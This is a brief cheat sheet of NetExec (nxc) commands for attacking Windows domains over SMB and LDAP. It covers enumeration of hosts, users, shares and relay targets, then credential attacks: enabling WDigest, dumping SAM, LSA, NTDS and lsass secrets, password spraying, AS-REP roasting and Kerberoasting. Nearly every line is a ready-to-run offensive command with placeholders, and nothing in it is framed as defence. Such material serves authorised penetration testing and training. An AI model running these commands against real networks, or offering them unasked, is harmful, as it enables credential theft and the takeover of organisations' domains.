NetExec

Darkiros cheat sheet commands:

NetExec - enumerate hosts, network

nxc smb [ip_range]

NetExec - enumerate password policy

nxc smb 10.10.10.161 -u '[user]' -p '[password]' --pass-pol

NetExec - enumerate null session

nxc smb [ip] -u '' -p ''

NetExec - enumerate anonymouse login

nxc smb [ip] -u 'a' -p ''

NetExec - enumerate active session

nxc smb [ip] -u '[user]' -p '[password]' --sessions

NetExec - enumerate domain users

nxc smb [ip] -u '[user]' -p '[password]' --users

NetExec - enumerate users by bruteforce the RID

nxc smb [ip] -u '[user]' -p '[password]' --rid-brute

NetExec - enumerate domain groups

nxc smb [ip] -u '[user]' -p '[password]' --groups

NetExec - enumerate local groups

nxc smb [ip] -u '[user]' -p '[password]' --local-groups

NetExec - enumerate shares

nxc smb [ip] -u '[user]' -p '[password]' --shares

NetExec - enumerate disks

nxc smb [ip] -u '[user]' -p '[password]' --disks

NetExec - enumerate smb target not signed

nxc smb [ip] --gen-relay-list [smb_targets.txt]

NetExec - enumerate logged users

nxc smb [ip] -u '[user]' -p '[password]' --loggedon-users

NetExec - enable wdigest

nxc smb [ip] -u '[user|Administrator]' -p '[password]' --local-auth --wdigest enable

NetExec - kerberos auth

nxc smb [ip] --kerberos

NetExec - dump SAM

nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --sam

NetExec - dump LSA

nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --lsa

NetExec - dump NTDS

nxc smb [ip] -u '[user]' -p '[password]' -d [domain] --ntds

NetExec - dump lsass

nxc smb [ip] -u '[user]' -p '[password]' -d [domain] -M lsassy

NetExec - password spray (user=password)

nxc smb [dc-ip] -u [user.txt] -p [password.txt] --no-bruteforce --continue-on-success

NetExec - password spray multiple test

nxc smb [dc-ip] -u [user.txt] -p [password.txt] --continue-on-success

NetExec - ASREP Roasting enum whitout authentication

nxc ldap [dc-ip] -u [user|user.txt] -p '' --asreproast output.txt

NetExec - Kerberoasting

nxc ldap [dc-ip] -u [user] -p [password] --kerberoasting output.txt

NetExec - Unconstrained delegation

nxc ldap [dc-ip] -u [user] -p [password] --trusted-for-delegation